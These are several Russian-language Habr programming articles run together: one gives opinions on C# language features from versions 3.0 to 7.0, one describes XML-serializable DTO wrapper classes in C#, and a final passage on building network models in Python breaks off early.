Почему же тогда существуют сложные языки? Все дело в выразительности. Если какая-то конструкция позволяет коротко описать необходимое действие, то это вполне может окупить негативные стороны усложнения языка.
За относительно недолгое время своего существования, язык C# впитал в себя значительное количество различных концепций, отразившихся в его конструкциях. Скорость их добавления иногда пугает. Мне, поскольку я с C# почти с самого начала — проще. Но каково новичкам, которые только приступают к изучению? Иногда завидую Java-программистам, где новшества внедряются в язык гораздо более консервативно.
То, что добавлено в язык — его ведь реально уже не вырубишь и топором. Конечно, если взять язык, широко распространенный в узких кругах, можно позволить себе несовместимость между версиями. Некоторые “шалости” обратной несовместимости может себе позволить такой язык, как Python (при переходе со 2-й на 3-ю версию). Но не C#, за которым стоит Майкрософт. Мне кажется, что если бы разработчики понимали, что с каждой новой фичей язык становится не только удобнее (в определенных случаях), но и немного ближе к своей смерти от “ожирения”, то комментарии были бы чуть менее восторженными, чем это имеет место в первой ветке откликов на [новшества C# 7](https://habrahabr.ru/post/280978/).
То, что описано далее — всего лишь мои спекуляции на тему того, действительно ли это полезная штука. Конечно, это может быть делом вкуса и не все согласятся со мной (смотрите спойлеры). И в любом случае, это останется в C# уже навечно… Ну, до момента сингулярности, по крайней мере.
Список добавленных фич языка по версиям можно найти здесь: [C# Features added in versions](https://en.wikipedia.org/wiki/C_Sharp_(programming_language)#Features_added_in_versions). Не буду трогать версию 2.0, начну с 3.0.
**Лирические воспоминания**Практически у любого явления, факта, фичи языка, есть и положительные и отрицательные стороны. То, какие оценки мы этому придаем, во много зависит от наших субъективных особенностей и другой человек может то же самое оценить противоположным способом. Мало того, что это естественно, скорее всего, эти оценки в обоих случаях будут правильными. Просто для разных людей. В спойлерах далее попытаюсь показать примеры таких отличий.
C# 3.0
------
### Implicitly typed local variables
```
var i = 5;
var s = "Hello";
var d = 1.0;
var numbers = new int[] {1, 2, 3};
var orders = new Dictionary();
```
Пресловутое var. О введении которого сейчас спорят в мире Java ([«Var и val в Java?»](https://habrahabr.ru/post/280188/), [«Ключевое слово «var» в Java: пожалуйста, только не это»](https://habrahabr.ru/post/280075/))
Код пишется один раз, читается много (банальная истина). Автоматический вывод типа во многих случаях заставляет делать дополнительные действия для того, чтобы понять, какого типа переменная. А значит, это плохо. Да, это привычно, например, для JavaScript-программистов, но там совершенно другая парадигма типизации.
Раздражение от явного и полного прописывания типов вызывают такие вот куски кода:
```
List> scores = seeker.getScores(documentAsCentroid);
...
foreach(Pair score in scores)
```
И это (Pair) далеко не самый длинное определение типа, которое приходится повторять. А любые повторы – это действительно плохо (помимо того, что просто неуклюже). Но есть способ значительно лучше и выразительнее. Вот чего мне после Паскаля не хватало в Java, а затем в C#, так это конструкции типа Type (typedef в C). В C# под это дело пытался приспособить using, который позволяет в начале файла написать что-то типа:
```
using StopWordsTables = System.Collections.Generic.List>;
```
Эта конструкция позволяла вместо той громоздкой писанины, что стоит справа, использовать идентификатор StopWordsTables. К сожалению, он действителен только в пределах одного исходного файла…
Вот если бы ввели typedef, это бы решило проблему громоздких типов без ущерба для читаемости кода.
Возражения по поводу того, что можно было бы договориться использовать var только там, где тип легко вывести глазами (т.е., он явно виден в инициализаторе) не найдут у меня поддержки по одной простой причине. Аналогичное правило уже ввела в своем Code Agreement Майкрософт (про свою компанию я уже молчу). Только вот практически никто этого не соблюдает. Var победило. Люди ленивы.
Есть еще момент — var очень ограничен. Его можно использовать только в локальных идентификаторах. В свойствах, полях, методах, все также приходится раз за разом писать эти раздражающе длинные идентификаторы коллекций, а в случае изменения типов повторять редактирование во всех местах. С Type/typedef этого все ушло бы в прошлое.
В развитие темы – если уж ввели var, почему бы не довести идею уже до логического завершения, как это сделано в Go? В инициализаторе вместо “=” писать “:=”, что означает, что тип выводится автоматически. И тогда вообще не нужно никакого слова писать на месте типа. Еще короче… Кстати, type в Go тоже есть, что очень удобно.
Мой вывод — var в C# был ошибкой. Нужен был всего лишь typedef.
Далее в примерах я буду использовать var лишь потому, что он позволяет сократить размер примера, а в паре-тройке строк не успевают проявиться его отрицательные моменты.
### Object and collection initializers
```
var r = new Rectangle {
P1 = new Point { X = 0, Y = 1 },
P2 = new Point { X = 2, Y = 3 }
};
List digits = new List { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 };
```
Штука полезная, сокращающая код не в ущерб читаемости. Одобряю.
### Auto-Implemented properties
Теперь, вместо
```
public Class Point {
private int x;
private int y;
public int X { get { return x; } set { x = value; } }
public int Y { get { return y; } set { y = value; } }
}
```
Стало возможно писать так:
```
public Class Point {
public int X { get; set; }
public int Y { get; set; }
}
```
Насчет свойств в глубине души так и не понял, а нужно ли их было вводить? Вон, в той же Java и без них вполне нормально жить, используя определенные соглашения имен в методах. Но коль уж ввели, то такое упрощение их описания вполне удобно (без ухудшения читабельности) во многих случаях.
### Anonymous types
```
var p1 = new { Name = "Lawnmower", Price = 495.00 };
var p2 = new { Name = "Shovel", Price = 26.95 };
p1 = p2;
```
Мне данная опция языка так ни разу и не пригодилась. Хотя нет, 1 раз таки нужно было, вспомнил. Я бы не вводил. Хотя те примеры, что видел в учебнике, вроде бы и логичны. В общем, возможно штука и полезная, просто не в моих сценариях (предпочитаю возиться с алгоритмами, а не с базами и JSON, хотя, разное бывает).
### Extension methods
```
namespace Acme.Utilities
{
public static class Extensions
{
public static int ToInt32(this string s) {
return Int32.Parse(s);
}
public static T[] Slice(this T[] source, int index, int count) {
if (index < 0 || count < 0 || source.Length – index < count)
throw new ArgumentException();
T[] result = new T[count];
Array.Copy(source, index, result, 0, count);
return result;
}
}
}
```
```
using Acme.Utilities;
...
string s = "1234";
int i = s.ToInt32(); // Same as Extensions.ToInt32(s)
int[] digits = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9};
int[] a = digits.Slice(4, 3); // Same as Extensions.Slice(digits, 4, 3)
```
Очень удобная штука. Временами теоретики ООП её ругают, но без неё было бы неудобно (громоздко) делать многие вещи.
### Query expressions
Он же LINQ. Этот пункт вызывает настолько смешанные чувства! Ну, примерно, как ложка дегтя в бочке чего-то хорошего. Вне всякого сомнения, LINQ явилась одной самых, по настоящему классных возможностей языка. Но зачем нужно было реализовывать это двумя способами? Я про так называемый человеко-понятный синтаксис (ЧПС), который имитировал SQL-запросы, насколько я понимаю.
```
string[] people = new [] { "Tom", "Dick", "Harry" };
// ЧПС или же синтаксис запросов
var filteredPeople = from p in people where p.Length > 3 select p;
// функциональный стиль или лямбда синтаксис
var filteredPeople = people.Where (p => p.Length > 3);
```
В результате имеем:
* ЧПС не соответствует SQL напрямую, так что знания SQL недостаточно для того, чтобы написать соответствующий запрос. Есть свои особенности.
* Одно и то же (с небольшими и редкими исключениями, функциональный и ЧПС-стили эквивалентны) можно написать двумя способами.
* Программисту следует учить оба варианта, поскольку они оба могут появиться в коде.
* ЧПС стиль резко контрастирует с остальным кодом, выглядя чем-то чужеродным.
Похожие чувства в плане чужеродности стиля у меня вызывают байндинги WPF. Они представляют собой микроскриптовые конструкции, написанные на своем языке внутри XML. В результате все выглядит громоздко и некрасиво. Не знаю, как можно было бы сделать красивее — может создать специализированный язык разметки, а не городить все в XML? Но я отвлекся. В общем, признаюсь — за последние несколько лет не написал ни одного выражения в ЧПС, при этом совершенно не испытывая в этом потребности. Только немножко редактировал чужие.
В общем, LINQ — очень и очень нужная штука, к которой очень зря привесили гирю ЧПС.
### Lambda expressions
```
x => x + 1 // Implicitly typed, expression body
x => { return x + 1; } // Implicitly typed, statement body
(int x) => x + 1 // Explicitly typed, expression body
(int x) => { return x + 1; } // Explicitly typed, statement body
(x, y) => x * y // Multiple parameters
() => Console.WriteLine() // No parameters
```
Это было прекрасное приобретение, привнесшее в C# элементы функционального стиля и существенно улучшившего выразительность коротких фрагментов кода, передаваемых как аргументы. Вот только когда лямбды начинают занимать с десяток и более строк, читать код становится очень сложно. Важно вовремя остановиться и в этом случае перейти опять на методы.
### Expression trees
Вряд ли стоит рассматривать данную фичу отдельно от LINQ и Lambda.
### Partial methods
Неплохой способ разделить автоматически генерируемый и ручной код. Я — за.
**Веня, он же Бэн**Если не считать программируемого калькулятора [МК-61](https://ru.wikipedia.org/wiki/%D0%AD%D0%BB%D0%B5%D0%BA%D1%82%D1%80%D0%BE%D0%BD%D0%B8%D0%BA%D0%B0_%D0%9C%D0%9A-61), то первая встреча с компьютерами у меня была в УПК, на старших классах школы. Большая часть учеников отсиживала занятия, старательно записывая в тетрадку то, что читали преподаватели, некоторое время тратили на реализацию алгоритмов вроде пузырьковой сортировки или бинарного поиска на [Фокале](https://ru.wikipedia.org/wiki/%D0%A4%D0%BE%D0%BA%D0%B0%D0%BB). Но 4 человека очень быстро отошли от основной программы и мы сидели за бытовыми телевизорами (которые служили нам мониторами) после занятий (а, чуть позже и во время занятий) до упора, реализуя свои идеи, пока преподаватели не начинали умолять «отпустить» их домой.
Фокал — это был тихий ужас, после которого Бейсик казался образцовым языком, но другого языка «высокого уровня» на [БК 0010](https://ru.wikipedia.org/wiki/%D0%91%D0%9A_(%D1%81%D0%B5%D0%BC%D0%B5%D0%B9%D1%81%D1%82%D0%B2%D0%BE_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BE%D0%B2)) зашито не было. С другой стороны, система команд процессора [К1801ВМ1](https://ru.wikipedia.org/wiki/%D0%9A1801%D0%92%D0%9C1) отличалась удобной структурой, позволявшей относительно легко программировать прямо в кодах, вводя команды в восьмеричной системе (16 бит). Почему восьмеричная? 8 регистров, 8 способов адресации. Именно поэтому было удобно использовать именно такой метод и ассемблер/дизассемблер для небольших программ был не нужен. Немножко неудобно было только вычислять смещения, когда программа предварительно писалась в тетрадке.
Потом был университет, [МС 1502](https://ru.wikipedia.org/wiki/%D0%AD%D0%BB%D0%B5%D0%BA%D1%82%D1%80%D0%BE%D0%BD%D0%B8%D0%BA%D0%B0_%D0%9C%D0%A1_1502). Хоть это уже и был IBM-PC совместимый компьютер, но поначалу здесь не было дисководов, MS DOS, ассемблеров. Работали прямо из интерпретатора бейсика, который был зашит в биосе.
И вот тут уже мне стало очевидно, что все люди разные. Был в ~~этой банде~~ нашей группе Вениамин. Меня он всегда поражал тем, что в его программах я ни разу не замечал ошибок. Все, что он писал — работало с первого раза. На МС 1502 система команд (x86) была гораздо менее логична (это моё личное мнение), чем на БК 0010 ([PDP-11](https://ru.wikipedia.org/wiki/PDP-11)). Поэтому тут я перестал писать небольшие вставки прямо в кодах. Честно говоря, вообще отошел от ассемблера. А вот Вениамин — продолжал компилировать прямо в голове, писать код в операторе DATA, которые затем выполнялись прямо из программ на бейсике. И все продолжало работать с первого раза! Он часто даже по нескольку часов не сбрасывал на кассету написанную программу — а ведь тут был большой риск зависания в случае ошибки в коде. В этом случае помогала только перезагрузка.
И вот, настал день, когда у Веника (как мы между собой его иногда называли), программа не заработала. Он был поражен, удивлен, раздосадован и еще много чего (аналогии с [анекдотом про учительницу](http://www.anekdot.ru/id/455350/) русского тут нет — Веня обходился без особо живой части великорусского языка). Хотя я, например, втайне немного злорадствовал — ведь нельзя же никогда не ошибаться. Но, я был посрамлен! После долгих выяснений, оказалось, что проблема заключалась в ошибке при описании работы одной из команд процессора — какой-то там флаг выставлялся, написано было, что должен был сбрасываться (уже не помню точно — 25 лет прошло).
Так что если кто-то скажет, что ему не нужна типизация, юнит-тесты, он всегда пишет безошибочные программы — я поверю. Я видел такого человека (его следы затерялись после переезда в США и начала работы в Майкрософт). Но я и еще много других людей — не такие.
C# 4.0
------
### Dynamic binding
Потенциально [полезный пример](http://stackoverflow.com/questions/2255982/c-sharp-4-real-world-example-of-dynamic-types) — вместо
```
var doc = new XmlDocument("/path/to/file.xml");
var baz = doc.GetElement("foo").GetElement("qux");
```
можно написать
```
dynamic doc = new XmlDocument("/path/to/file.xml");
var baz = doc.foo.qux;
```
Несмотря на то, что выглядит хорошо, я бы не рекомендовал такое использование. Тип dynamic — очень опасная штука, поскольку теряется весь контроль типов. Из более мелких пакостей — перестают работать подсказки в редакторе. Тем не менее, в определенных сценариях, он полезен. Например, с его помощью я у себя делал подгрузку плагинов (точнее, использование кода из них). За счет того, что вызовы методов здесь кешируются, то получается производительно и не нужно городить это самостоятельно. А насчет безопасности — иначе мне бы все-равно пришлось бы работать через рефлексию, так что в этом случае безопасность не была бы большей. А вот код был бы более сложным и запутанным. Так что осторожное использование динамиков в ограниченном количестве сценариев одобряю. Конечно, вводились они больше с прицелом на скриптовые языки. Ну, нужно, так нужно.
### Named and optional arguments
```
class Car {
public void Accelerate(
double speed, int? gear = null,
bool inReverse = false) {
/* ... */
}
}
```
```
Car myCar = new Car();
myCar.Accelerate(55);
```
Уменьшается количество перегруженных методов — код становится проще и надежнее (меньше возможностей совершить ошибку копипаста, меньше работы при рефакторинге). Одобряю.
### Generic co- and contravariance
Вполне логичное уточнение поведения языка. Особой сложности в изучение и синтаксис не вносит и может быть рассмотрено новичками позже. Одобряю.
### Embedded interop types («NoPIA»)
Это одна из фич, про которые мне особо нечего сказать, исходя из своей практики — просто читал, что такое есть. Мне она не нужна была, но COM видимо еще долго не умрет и тем, кто (например) работает с MS Office, он еще долго будет нужен.
C# 5.0
------
### Asynchronous methods
```
public async Task ReadFirstBytesAsync(string filePath1, string filePath2)
{
using (FileStream fs1 = new FileStream(filePath1, FileMode.Open))
using (FileStream fs2 = new FileStream(filePath2, FileMode.Open))
{
await fs1.ReadAsync(new byte[1], 0, 1); // 1
await fs2.ReadAsync(new byte[1], 0, 1); // 2
}
}
```
Очень удобная конструкция. К сожалению, при практической реализации возникли некоторые ограничения — детали реализации протекали в виде ограничений ([Async/await в C#: подводные камни](https://habrahabr.ru/post/257221/)). Часть их была снята в следующих версиях (Await in catch/finally blocks) языка, или библиотек (akka.net поначалу не позволяла смешивать свою модель асинхронного исполнения с рассматриваемой фичей, но потом это поправили). Может быть имело бы смысл рассмотреть и какие-то другие паттерны параллельного взаимодействия — типа горутин. Но тут уже выбор за архитекторами языка. В общем, одобряю.
### Caller info attributes
```
public void DoProcessing()
{
TraceMessage("Something happened.");
}
public void TraceMessage(string message,
[System.Runtime.CompilerServices.CallerMemberName] string memberName = "",
[System.Runtime.CompilerServices.CallerFilePath] string sourceFilePath = "",
[System.Runtime.CompilerServices.CallerLineNumber] int sourceLineNumber = 0)
{
System.Diagnostics.Trace.WriteLine("message: " + message);
System.Diagnostics.Trace.WriteLine("member name: " + memberName);
System.Diagnostics.Trace.WriteLine("source file path: " + sourceFilePath);
System.Diagnostics.Trace.WriteLine("source line number: " + sourceLineNumber);
}
// Sample Output:
// message: Something happened.
// member name: DoProcessing
// source file path: c:\Users\username\Documents\Visual Studio 2012\Projects\CallerInfoCS\CallerInfoCS\Form1.cs
// source line number: 31
```
Небольшой синтаксический сахар, который не утяжеляет язык, но позволяет в определенных сценариях уменьшить количество копипаста и кода. Одобряю.
C# 6.0
------
### Compiler-as-a-service (Roslyn)
Этот пункт (несмотря на общую важность) пропущу. Я бы отнес его скорее к инфраструктуре, а не непосредственно к языку.
### Import of static type members into namespace
```
using static System.Console;
using static System.Math;
using static System.DayOfWeek;
class Program
{
static void Main()
{
WriteLine(Sqrt(3*3 + 4*4));
WriteLine(Friday - Monday);
}
}
```
Поначалу мне эта фича показалась полезной. Но попробовав её на практике, вынужден признать, что ошибся. Читаемость кода ухудшается — методы и члены статического класса начинают мешаться с методами текущего класса. И даже ввод стал медленнее, хотя вроде бы количество идентификаторов уменьшилось на единицу. Но за счет того, что теперь в подсказке от Intellisense больше вариантов, нажатий нужно сделать больше. В общем, данная фича, с моей точки зрения — ошибка.
### Exception filters
```
try { … }
catch (MyException e) when (myfilter(e))
{
…
}
```
Еще не попробовал. Поэтому есть искушение назвать фичу бесполезной, но может просто мои сценарии к ней не сильно подходят? Может, кто расскажет, в каких случаях и насколько часто она реально хороша?
### Await in catch/finally blocks
Не считаю это самостоятельной фичей — скорее исправление предыдущих проблем.
### Auto property initializers
```
public class Customer
{
public string First { get; set; } = "Jane";
public string Last { get; set; } = "Doe";
}
```
Логичное и удобное дополнение к автосвойствам. Код становится чище, а значит одобряю.
### Default values for getter-only properties
```
public class Customer
{
public string First { get; } = "Jane";
public string Last { get; } = "Doe";
}
```
Аналогично предыдущему пункту.
### Expression-bodied members
```
public string Name => First + " " + Last;
public Customer this[long id] => store.LookupCustomer(id);
```
Большой практики применения пока нет, но выглядит неплохо. Нужно будет еще пройтись по своему коду и посмотреть, где можно бы применить. Главное здесь как с лямбдами — не переусердствовать и не делать выражений на полэкрана.
### Null propagator (succinct null checking)
```
public static string Truncate(string value, int length)
{
return value?.Substring(0, Math.Min(value.Length, length));
}
```
Давно напрашивавшаяся штука. Одобряю. Хотя, на практике и оказалось, что применяется не так часто, как ожидалось до того.
### String Interpolation
О! Вот это то, чего ждал давным-давно, и что мгновенно прижилось в моем коде. Всегда старался писать идентификаторы в контексте строки примерно так:
```
“Total lines: “ + totalLines + ”, total words: “ + totalWords + ”.”;
```
Иногда меня спрашивали, а знаю ли я про форматирование строк? Да, знаю, но там есть 2 большие проблемы:
* Выражение отнесено далеко от места, где оно вставляется. Это затрудняет чтение кода.
* Строка с литералами форматирования, фактически является микроскриптом, который исполняется в run-time. Соответственно, вся система типизации, проверки соответствия параметров C# летит в тартарары.
Также это приводит к тому, что в методах Format(...) допускается большое количество ошибок при рефакторинге.
Поэтому и использовал такое вот немного громоздкое написание. Но, наконец, дождался от C# такого подарка :) Одобряю однозначно и всеми конечностями!
### nameof operator
```
if (x == null) throw new ArgumentNullException(nameof(x));
WriteLine(nameof(person.Address.ZipCode)); // prints "ZipCode"
```
Аналогично “Caller info attributes”. Одобряю.
### Dictionary initializer
```
var numbers = new Dictionary {
[7] = "seven",
[9] = "nine",
[13] = "thirteen"
};
```
Еще одно новшество, которое позволяет упростить работу с кодом, который нередко набирается с помощью копипаста и подвержен ошибкам от невнимательности. Любая возможность сделать его чище и удобнее для чтения будет приводить к плюсам в карме архитектора языка. Плюсик.
**Анти-Бэн**В предыдущем спойлере я описал идеального программиста, которого встречал в реальности. Сам же я во многих случаях являюсь полной противоположностью. Я склонен к опечаткам, у меня очень малая сверхоперативная память. Именно поэтому, запуск нового кода всегда для меня начинался с отладки. Постепенно сложились определенные приемы и приемчики, которые позволяли уменьшить количество ошибок. Код дробился до маленьких фрагментов-функций, которые собирались в большие. Это делалось даже в том случае, если обращение ко вложенной функции делалось только один раз. Кстати, венгерская нотация для элементарных типов также уменьшила количество логических ошибок — они становятся виднее зрительно. Также, активно использую саджесты в IDE — они позволяют снизить количество элементарных описок практически до нуля.
И вот вышла Java. (Это было еще прошлое тысячелетие)
Прочитал книжку, вдохновился идеей реализации простого http-сервера (просто отдавал статические файлы) и по образу и подобию примера из книги написал свой код с небольшими вариациями. Код именно писал, а не копировал фрагменты. Относительно долго вылавливал всякие неточности, связанные с тем, что язык новый, просто свои обычные опечатки. Наконец, код откомпилировался. Я его запустил, приготовившись к этапу отлова следующих багов. Но программа заработала. И заработала так, как я хотел.
Сказать, что я был удивлен — ничего не сказать. Но именно после этого случая я понял, что для меня строгость языка (и еще автоматическая сборка мусора — это был мой первый язык с этой фичей) оборачивается возможностью продуктивно работать над серьезными проектами. Я верю, что многим не нравится статическая типизация, необходимость явно описывать типы и еще много чего, что относят к строгим языкам. И я верю, что им это действительно мешает. Но их аудитория — это Бэн, но не я.
C# 7.0 proposals
----------------
Данными функциями я еще не пользовался — обычно сижу на релизной версии шарпа, иногда приходится спускаться чуть ниже. Поэтому здесь приведу чисто умозрительные аргументы. Список приведу по статье “[Новшества C# 7](https://habrahabr.ru/post/280978/)”, а не по данным из википедии.
### Binary literals
```
int x = 0b1010000;
int SeventyFive = 0B10_01011;
```
Новшество выглядит безобидно, не сильно усложняя язык, а для тех, кому нужно работать с битами — удобно. Немного не понял фразу «Можно отделять нули произвольным количеством подчёркиваний» — почему только нули?
### Local functions
```
public void Foo(int z)
{
void Init()
{
Boo = z;
}
Init();
}
```
Когда только перешел на C# с Объектного Паскаля (Delphi), мне очень не хватало локальных функций, как способа структурировать свой код. Простое вынесение кусков кода в приватные методы приводило к появлению классов с большим количеством методов на одном уровне. Так происходило, пока я не понял, что в C# для этого нужно применять другой метод — объектную декомпозицию. После этого я часто стал выносить относительно громоздкий код во внутренний класс со своими методами. По достижении определенного уровня сложности, этот класс мог быть разделен на несколько связанных классов, которые выносились в отдельную папку и нэймспейс. Это позволило привнести ту иерархию в код, которую в стародавние времена обеспечивали локальные функции и процедуры Паскаля.
Таким образом, мое мнение сейчас изменилось — не стоит давать еще одного способа структурирования кода. Это усложнение языка, усложнение чтения (внешний метод становится большим, поэтому сложно охватить его взглядом от начала, и до конца), но нет принципиальных преимуществ.
### Tuples
Пока не понял необходимости данной фичи, в каких ситуациях она будет полезнее, чем вернуть класс/структуру или же использовать out-аргументы. Поэтому для меня это скорее отрицательный вклад в язык.
### Pattern matching, conditions in switch
```
// type pattern
public void Foo(object item)
{
if (item is string s)
{
WriteLine(s.Length);
}
}
// Var Pattern
public void Foo(object item)
{
if(item is var x)
{
WriteLine(item == x); // prints true
}
}
// Wildcard Pattern
public void Foo(object item)
{
if(item is *)
{
WriteLine("Hi there"); //will be executed
}
}
```
Более полный пример можно [посмотреть по ссылке](https://asizikov.github.io/2016/04/02/csharp-seven-preview/).
Выглядит неплохо, но нужно посмотреть, насколько это окажется полезным на практике. Есть интуитивное подозрение, что усложнение языка не окупится тем количеством кейсов, где эта возможность будет полезна. Так что пока я насторожен.
### Ref locals and ref returns
```
static void Main()
{
var arr = new[] { 1, 2, 3, 4 };
ref int Get(int[] array, int index)=> ref array[index];
ref int item = ref Get(arr, 1);
WriteLine(item);
item = 10;
WriteLine(arr[1]);
ReadLine();
}
// Will print
// 2
// 10
```
Простое и интуитивно понятное расширение для работы со ссылками. Но реальная нужда в нем пока непонятна.
Описанных далее в статье на Хабре пунктов “Записи” и “Создание неизменяемых объектов” не вижу сейчас в текущих предложениях на 7-ю версию C#, поэтому оценивать их не буду.
Итак, что в итоге?
------------------
С **моей точки** зрения, C# нажил (7-ю версию пока не трогаю, оплакивать буду по факту) себе такие **лишние фичи**:
1. Человеко-понятный синтаксис LINQ. Достаточно было бы остановиться на fluent-стиле.
2. Анонимные типы.
3. Var. Эта ограниченная локальными переменными фича не дала внедрить нормального определения типов, в то же время существенно ухудшив читабельность кода.
4. Импорт статиков — ухудшает читаемость кода.
Что было **особенно полезно**:
1. LINQ (без ЧПС).
2. Лямбды.
3. Постепенное упрощение инициализации и описания объектов, различных структур данных, свойств.
4. Именованные и по умолчанию параметры.
5. Async/await.
6. Интерполяция строк. | https://habr.com/ru/post/302076/ | null | ru | null |
# Как приготовить DTO?
За последние полтора месяца мне довелось поработать над backend-ом трех проектов. В каждом требовалось подготовить классы для взаимодействия с удаленным сервисом посредством обмена XML-документами; в частности, требовалось подготовить DTO-классы для каждого из типов сообщений. Для каждого из сервисов шло описание от разработчиков, с примерами XML-документов, так что работа была относительно простая: взять пример, прогнать через утилиту xsd, получить класс, поправить типы, добавить недостающие поля\свойства, протестировать. Операции рутинные, после десятка классов думать уже особо не требовалось, так что в голове начали скапливаться мысли, как ускорить процесс разработки либо улучшить выходной результат. Получилось и то, и другое.
**TLDR**Для готовки берем DTO-полуфабрикат из xsd, добавляем обертки для типов-примитивов, добавляем сахару (implicit operators), ~~кладем в микроволновку на 30 минут~~, получаем удобный объект передачи данных.
Сперва загоним образец XML-документа в утилиту xsd. DTO-объект после выхода из xsd.exe выглядит приблизительно так:
```
// Информация о производителе: версия xsd
[System.SerializableAttribute]
[XmlTypeAttribute(AnonymousType = true)]
public class DtoProduct
{
private string productidfield;
private string productnamefield;
private string productpricefield;
/*...*/
[XmlElement]
public string productid
{
get{return this.productidfield;}
set{this.productidfield = value;}
}
[XmlElement]
public string productname
{
get{return this.productnamefield;}
set{this.productnamefield = value;}
}
[XmlElement]
public string productprice
{
get{return this.productpricefield;}
set{this.productpricefield = value;}
}
}
```
Помимо проблем со стилем (лечится Решарпером и\или Ctrl+H), перед нами проблема с типами: для price лучше подойдет decimal, для Id — long. За правильное указание типов пользователи наших DTO скажут нам спасибо, либо хотя бы не будут желать нам сгореть в аду. Внесем правки, заодно приведя имена к корпоративному стандарту.
```
[System.SerializableAttribute]
[XmlTypeAttribute(AnonymousType = true)]
public class DtoProduct
{
private decimal _productPrice;
//...
[XmlElement("productprice")]
public decimal ProductPrice
{
get{return _productPrice;}
set{_productPrice = value;}
}
}
```
Уже лучше, но появляются проблемы с (де)сериализацией: у удаленного сервиса может быть свой формат передачи данных. Особенно характерно это для дат и десятичных значений. Плюс, иногда встречаются специфические типы (guid, code, mail).
Другая проблема: значения по умолчанию. Если значение строкового свойства null — свойство не сериализуется (читай, если свойству не присваивали значения — свойство не сериализуется). Double, int, bool — это типы значений (Value Types), и они не могут принимать значение null; в результате int свойства сериализуются значением по умолчанию (читай, если int свойству не присвоили значение, сериализуется 0). Скорее всего, вреда это не принесет, но это не описываемое в коде поведение, которого хотелось бы избежать.
Итак, мы приходим к необходимости создания правил (де)сериализации базовых типов. В качестве примера рассмотрим Money (decimal), который сериализуется как «d.dd» (разделитель «точка», два знака после разделителя). Создадим класс XmlMoneyWrapper, отнаследуем его от IXmlSerializable.
```
public class XmlMoneyWrapper : IXmlSerializable
{
public decimal Value { get; set; } // Тут хранится передаваемое значение
public override string ToString()
{
return Value.ToString("0.00", CultureInfo.InvariantCulture);
}
#region IXmlSerializable Members
public XmlSchema GetSchema() { return null; }
public void ReadXml(XmlReader reader)
{
string value = reader.ReadString();
// TODO change to TryParse?
try
{
Value = Decimal.Parse(value,
new NumberFormatInfo
{
NumberDecimalSeparator = "."
});
}
catch (Exception exc)
{
String err = String.Format("Can't deserialize string {0} to decimal. Expected number decimal separator is dot \".\"", value);
throw new SerializationException(err, exc);
}
reader.Read();
}
public void WriteXml(XmlWriter writer)
{
writer.WriteString(ToString());
}
#endregion
}
```
И поменяем наш DTO:
```
[System.SerializableAttribute]
[XmlTypeAttribute(AnonymousType = true)]
public class DtoProduct
{
private XmlMoneyWrapper _productPrice;
//...
[XmlElement("productprice")]
public XmlMoneyWrapper ProductPrice // Можно заменить на автосвойство, упростив код
{
get { return _productPrice; }
set { _productPrice = value; }
}
}
```
Мы сделали Nullable свойство, которое инициируется как null; мы избавили пользователя DTO от необходимости задумываться о формате сериализации. Однако, работа с DTO усложнилась. Теперь проверку if(product.ProductPrice > 10.00) придется заменять на if(product.ProductPrice.Value > 10.00).
Вывод: нужно ~~добавить пару ложек сахара~~ перегрузить операторы неявного приведения типов.
```
public static implicit operator XmlMoneyWrapper(decimal arg) // decimal to XmlMoneyWrapper
{
XmlMoneyWrapper res = new XmlMoneyWrapper { Value = arg };
return res;
}
```
```
public static implicit operator decimal (XmlMoneyWrapper arg) // XmlMoneyWrapper to decimal
{
return arg.Value;
}
```
Теперь пользователь вновь может использовать код вида if(product.ProductPrice > 10.00). При этом, в комментарий класса (и коммита) стоит внести предупреждение о неявных приведениях. Кроме того, использующие наш DTO коллеги могут не помнить про implicit operators, так что стоит добавить пример использования. ~~Ведь наша цель не повыпендриваться недавно изученной фичей?~~
К сожалению, некоторые типы не совместимы с неявным приведением. Например, строка ограниченной длины: в интерфейсе перегрузки
```
public static implicit operator XmlLimitedStringWrapper(string arg)
```
нет места для аргумента максимальной длины строки. По той же причине не получится создать приводимый класс с настраиваемым значением по умолчанию. В таких ситуациях остается только работать с полями и свойствами. Например, класс строки с ограниченной максимальной длиной может использоваться так:
```
[System.SerializableAttribute]
[XmlTypeAttribute(AnonymousType = true)]
public class DtoProduct
{
private readonly XmlLimitedStringWrapper _productName = new XmlLimitedStringWrapper(16); // Create string with maxLength = 16.
// ...
// Max symbols: 16.
[XmlElement("productname")]
public string ProductName
{
get{return _productName = _productName.Value;}
set{_productName.Value = value;}
}
}
```
В результате этих манипуляций сырой DTO-полуфабрикат превращается в достаточно удобный продукт. Вся логика форматирования скрыта от пользователя, пользователь в своем коде может использовать привычные базовые типы. Создание DTO классов (по ощущениям) занимает чуть меньше времени, чем раньше. За счет Nullable оберток может немного снизиться траффик. На разработку всех XmlPrimitiveTypeWrapper типов уходит порядка одного дня (с модульным тестированием). В следующих проектах можно брать готовые обертки, благо изменяются они не сильно.
Недостатки стандартные: удобство потребовало усложнения архитектуры, коллегам может потребоваться время на создание DTO с новыми классами. | https://habr.com/ru/post/270473/ | null | ru | null |
# Тонкости построения сетевых моделей в Python
Что является основным инструментом, который использует руководитель при управлении проектом? Принято считать, что основным инструментом руководителя проекта является календарный план, в основе которого лежит сетевая модель работ по проекту. Однажды мне довелось реализовать сетевую модель работ на языке Python (код и описание [здесь](https://github.com/AleksLobzov/predict)). Ниже приведены уроки, извлеченные по результатам проделанной работы.
### Сначала создай работы, потом устанавливай связи
При построении сетевой модели часто возникает вопрос, в каком порядке создавать работы и устанавливать связи между ними? Наиболее очевидным является двухэтапный подход – сначала создаются все работы модели, затем между ними устанавливаются связи. Такой подход позволяет избежать ошибок типа *KeyError: '101'*, возникающих при параллельном выполнении этих двух операций, когда система пытается установить связь с работой, которая еще не была создана.
Конечно, суммарное время выполнения двух последовательных операций по созданию работ и установке связей между ними может быть оптимизировано за счет использования алгоритма, в котором эти операции выполняются параллельно. Однако даже на больших моделях с десятком тысяч работ последовательные алгоритмы работают достаточно быстро. Поэтому в условиях временных ограничений на реализацию проекта вполне можно обойтись классическим двухэтапным подходом.
### Пересчитывай модель после её построения
Стоит ли выполнять пересчет всякий раз, когда происходит установка связи между работами при построении сетевой модели? С одной стороны, постоянный пересчет позволяет держать модель в актуальном состоянии. С другой, пересчет увеличивает время ее построения.
Для сравнения были реализованы две функции:
1. **build\_model\_by\_method()** – построение с пересчетом модели;
